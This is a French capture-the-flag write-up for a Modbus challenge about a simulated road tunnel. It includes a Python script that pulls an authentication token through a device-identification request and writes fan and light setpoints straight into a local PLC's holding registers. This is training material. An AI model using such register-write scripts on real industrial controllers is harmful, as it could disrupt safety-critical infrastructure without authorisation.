Solution de noahlgrd01 pour Tunnel Routier 2/2

misc

12 mai 2026

Après avoir réussi à extraire le token dans l’étape 1/1, on va pouvoir passer à l’étape supérieur de ce chall Modbus : écrire dans les registers afin de pouvoir affecter les valeurs de luminosité, de qualité de l’air et de température.

Rappel des normes pour le tunnel :

Taux de CO₂ (PPM) <= 800 PPM
Luminance (cd/m²) >= 300 cd/m²
Température (°C) <= 25°C

On va donc jouer sur les valeurs que l’on va transmettre aux registers afin de mettre aux normes ces 3 valeurs.

Après avoir effectué des requêtes de lecture (afin de noter les différents registers) et en jouant sur les valeurs des registers, j’ai pu établir que 0-7 étaient les hélices, et 8-15 étaient les ampoules, avec également les valeurs correspondantes pour la mise en norme : (valeurs perso, d’autres sont théoriquement possibles)

0-7 -> 1400
8-15 -> 80

Ci-joint le script permettant de récupérer et d’afficher le token, et d’envoyer les différentes valeurs à l’automate :

import socket
import struct
import re
import time

HOST = "localhost"
PORT = 4502

def build_mei_request(transaction_id=1, unit_id=1):
    pdu = struct.pack("BBBB", 0x2B, 0x0E, 0x01, 0x00)
    mbap = struct.pack(">HHHB", transaction_id, 0, len(pdu) + 1, unit_id)
    return mbap + pdu

# Write Single Register - FC=0x06
def write_single(tid, addr, value, uid=1):
    pdu = struct.pack(">BHH", 0x06, addr, value)
    mbap = struct.pack(">HHHB", tid, 0, len(pdu)+1, uid)
    return mbap + pdu

# Read Input Registers - FC=0x04
def read_input(tid, addr, uid=1):
    pdu = struct.pack(">BHH", 0x04, addr, 1)
    mbap = struct.pack(">HHHB", tid, 0, len(pdu)+1, uid)
    return mbap + pdu

with socket.create_connection((HOST, PORT), timeout=5) as s:
    # Récupération du token pour s'authentifier sur la page web
    s.sendall(build_mei_request())
    resp = s.recv(1024)
    pdu = resp[7:]
    offset = 7
    token = None
    while offset + 2 <= len(pdu):
        obj_id  = pdu[offset]
        obj_len = pdu[offset + 1]
        obj_val = pdu[offset + 2:offset + 2 + obj_len].decode('latin-1', errors='replace')
        match = re.search(r'Your token is : ([a-f0-9]+)', obj_val)
        if match:
            token = match.group(1)
            print(f"\n[+] Token : {token}")
        offset += 2 + obj_len

    tid = 2

    consignes = {
        # Ventilateurs
        0:  1400,
        1:  1400,
        2:  1400,
        3:  1400,
        4:  1400,
        5:  1400,
        6:  1400,
        7:  1400,
        # Lumières — valeurs distinctes pour identifier
        8:  80,
        9:  80,
        10: 80,
        11: 80,
        12: 80,
        13: 80,
        14: 80,
        15: 80,
    }

    # Envoi des valeurs à l'automate
    print("\n[*] Envoi des consignes...")
    for addr, val in consignes.items():
        s.sendall(write_single(tid, addr, val)); tid += 1
        resp = s.recv(1024)
        if resp[7] == 0x06:
            print(f"    Holding[{addr}] = {val}")
        else:
            print(f"    Holding[{addr}] ERR : {resp.hex()}")

    # Lecture des valeurs retournées par l'automate
    time.sleep(2)
    print("\n[*] Valeurs process :")
    labels = ["CO2 NORD", "CO2 SUD", "Lum NORD", "Lum SUD", "Temp NORD", "Temp SUD", "???"]
    for addr in range(7):
        s.sendall(read_input(tid, addr)); tid += 1
        resp = s.recv(1024)
        if resp[7] == 0x04:
            val = struct.unpack(">H", resp[9:11])[0]
            print(f"    Input[{addr}] {labels[addr]} = {val}")
        else:
            print(f"    Input[{addr}] ERR : {resp.hex()}")

    # Maitient de la connexion le temps que les valeurs (CO2, luminosité, température) retrouvent des taux normaux (1min)
    print("[*] Connexion TCP maintenue ouverte.")
    print(f"[*] Entre le token sur la page wbe http://{HOST}:8000/")
    input("[*] Appuie sur entrée une fois le token soumis pour fermer...\n")

print("[*] Connexion fermée.")

🚩 Après une minute, une fois les taux aux normes, le flag apparaîtra !